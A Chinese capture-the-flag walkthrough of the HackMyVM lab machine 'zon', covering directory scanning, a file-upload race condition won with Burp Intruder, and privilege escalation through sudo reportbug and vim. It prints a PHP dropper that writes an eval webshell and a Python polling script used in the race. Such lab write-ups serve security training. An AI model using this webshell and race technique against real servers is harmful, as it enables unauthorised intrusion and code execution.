hackmyvm靶场--zon

环境

攻击机kali

靶机

未知

主机探测

因为在同一个局域网内使用ARP协议探测存活主机

靶机为192.168.56.128

端口探测

常见的80和22端口

那么一定是寻找web漏洞拿shell了

后台扫描

后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试

shell 复制代码
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500

扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传

发现需要上传zip文件,里面是jpeg文件

先上传个正常的

查看一下uploads目录

可以正常访问

想要利用文件上传来拿到shell无非需要满足两个条件

1、成功上传木马文件

2、服务端可以解析该文件

这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件

结果显示给文件不是jpeg,会被删除

删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争

我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。

实现步骤:

首先准备create-shell.php这个炮灰shell文件,里面写一下代码

php 复制代码
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>

开启一个访问的Python脚本,作用为验证shell是否成功上传

python 复制代码
import requests


url1 = "http://127.0.0.1/upload/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"   
# 定义访问 shell.php

while True:  # 定义死循环
    html1 = requests.get(url1)  # 请求 create-shell.php
    html2 = requests.get(url2)  # 请求 shell.php
    if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
        print('Good job,Win Win Win')  # 打印 Good job.....
        break
        

上传该文件并且使用burp抓包

在最下面输入数字1作为我们的爆破点

接着设置payload

把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破

先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传

提权

拿到shell

因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个

升级shell

/usr/bin/script -qc /bin/bash /dev/null

在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除

在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性

发现了mysqldump -u admin -p这段代码

尝试登录,成功

ssh登录freddie

拿到user.txt

sudo查看发现reportbug有提权的可能性

file /usr/bin/reportbug

python可执行脚本

以root运行

sudo reportbug

一段乱输之后发现有一个vim编辑器提权

拿下root.txtTOC]

相关推荐
wacpguo3 分钟前
centos 配置网络
linux·网络·centos
feng_blog66881 小时前
Linux桌面X11服务-XRecord方案捕获鼠标点击的应用窗口
linux
梦昼初DawnDream1 小时前
防火墙规则设置
linux·服务器·windows
LXY_BUAA1 小时前
Linux常见命令
linux·运维·服务器
R&ain2 小时前
Linux目录结构
linux·运维·服务器
帅得不敢出门3 小时前
Linux服务器编译android报no space left on device导致失败的定位解决
android·linux·服务器
用户31187945592183 小时前
申威服务器安装Java11(swjdk-11u-9.ky10.sw_64.rpm)详细操作步骤(附安装包)
linux
ajassi20004 小时前
开源 Linux 服务器与中间件(十一)Emqx服务器消息的订阅和发送(mqtt测试)
linux·服务器·开源
平生不喜凡桃李4 小时前
Linux网络层:IP
linux·运维·tcp/ip
阿方索5 小时前
虚拟化技术实践指南:KVM 与 VMware ESXi 部署全流程
linux·运维·服务器